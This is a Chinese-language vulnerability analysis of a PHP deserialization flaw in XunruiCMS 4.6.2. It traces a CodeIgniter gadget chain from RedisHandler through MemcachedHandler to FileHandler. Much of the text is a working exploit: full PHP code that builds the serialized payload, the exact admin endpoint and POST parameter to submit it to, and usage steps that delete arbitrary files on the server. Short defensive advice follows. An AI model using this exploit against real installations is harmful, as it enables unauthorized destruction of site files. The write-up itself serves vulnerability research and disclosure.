Xunruicms反序列化漏洞利用链挖掘过程
字数 1449 2025-08-18 17:33:34
XunruiCMS 4.6.2 反序列化漏洞分析与利用
漏洞概述
XunruiCMS 4.6.2及以下版本中存在一个反序列化漏洞,攻击者可以通过精心构造的序列化数据实现任意文件删除。该漏洞位于dr_string2array函数中,由于对用户输入数据的不安全反序列化操作导致。
漏洞分析
漏洞点定位
漏洞核心位于文件\xunruicms\dayrui\Fcms\Core\Helper.php中的dr_string2array函数:
function dr_string2array($data, $limit = '') {
if (!$data) {
return [];
} elseif (is_array($data)) {
$rt = $data;
} else {
$rt = json_decode($data, true);
if (!$rt) {
$rt = unserialize(stripslashes($data));
}
}
if (is_array($rt) && $limit) {
return dr_arraycut($rt, $limit);
}
return $rt;
}
关键问题:
- 函数首先尝试
json_decode,失败后会进入unserialize unserialize前使用了stripslashes函数处理数据- 可以通过将
\改为\\来绕过stripslashes的影响
传参入口
通过搜索dr_string2array函数的调用,发现可利用的入口在\xunruicms\dayrui\Fcms\Control\Admin\Field.php的import_add方法:
public function import_add() {
if (IS_POST) {
$code = $this->input->post('code');
$arr = explode("\r\n", $code);
if (!$arr) {
$this->_json(0, 'code参数为空');
}
foreach ($arr as $t) {
$data = dr_string2array($t);
// ...
}
}
}
访问路径:
http://127.0.0.1/admin3a609e1d6cff.php?c=field&m=import_add
需要管理员权限才能访问。
利用链分析
反序列化起点
通过分析__destruct方法寻找可利用点,共找到5个:
- 第一个
__destruct:需要$this->memcached是Memcached或Memcache实例,利用空间有限 - 第二个
__destruct:需要$this->SMTPConnect是资源类型,利用空间有限 - 第三个
__destruct:调用self::wipeDirectory,可能导致文件删除 - 第四个
__destruct:仅释放变量,无利用价值 - 第五个
__destruct:调用$this->redis->close(),有较大利用空间
利用链构建
选择第五个__destruct作为起点,构建利用链:
RedisHandler::__destruct()->$this->redis->close()- 控制
$this->redis为MemcachedHandler实例 MemcachedHandler::close()->$this->memcached->delete($this->lockKey)- 控制
$this->memcached为FileHandler实例 FileHandler::delete()-> 任意文件删除
关键点:
FileHandler::delete()中的$key参数可控$this->path可控,可以是绝对或相对路径validateKey方法对$key的处理不会影响文件删除操作
漏洞利用
利用条件
- 获取管理员权限
- PHP版本7.4+(因PHP7.1+对属性类型不敏感)
EXP构造
<?php
namespace CodeIgniter\Cache\Handlers;
use CodeIgniter\Session\Handlers\BaseHandler;
use CodeIgniter\Session\Handlers\MemcachedHandler;
class RedisHandler extends BaseHandler {
public $redis;
public function __construct() {
$this->redis = new MemcachedHandler();
}
}
namespace CodeIgniter\Session\Handlers;
use CodeIgniter\Session\Handlers\BaseHandler;
use CodeIgniter\Cache\Handlers\FileHandler;
class MemcachedHandler extends BaseHandler {
public $memcached;
public $lockKey;
public function __construct() {
$this->memcached = new FileHandler();
$this->lockKey = "1.txt"; // 要删除的文件名
}
}
namespace CodeIgniter\Session\Handlers;
abstract class BaseHandler {}
namespace CodeIgniter\Cache\Handlers;
use CodeIgniter\Session\Handlers\BaseHandler;
class FileHandler extends BaseHandler {
public $path;
public function __construct() {
$this->path = "./"; // 文件路径
}
}
use CodeIgniter\Cache\Handlers\RedisHandler;
$str = serialize(new RedisHandler());
$newStr = str_replace('\\', '\\\\', $str);
echo urlencode($newStr)."\n";
?>
利用步骤
- 构造上述EXP生成payload
- 以管理员身份登录系统
- 访问
/admin3a609e1d6cff.php?c=field&m=import_add - POST提交
code参数,值为生成的payload - 系统将删除指定路径下的文件
防御措施
- 避免直接反序列化用户输入
- 使用白名单验证反序列化数据
- 更新到最新版本XunruiCMS
- 限制管理员后台访问权限
总结
该漏洞通过精心构造的反序列化链实现了任意文件删除,危害较大。开发人员应重视反序列化操作的安全性,避免直接处理不可信数据。系统管理员应及时更新系统并严格控制后台访问权限。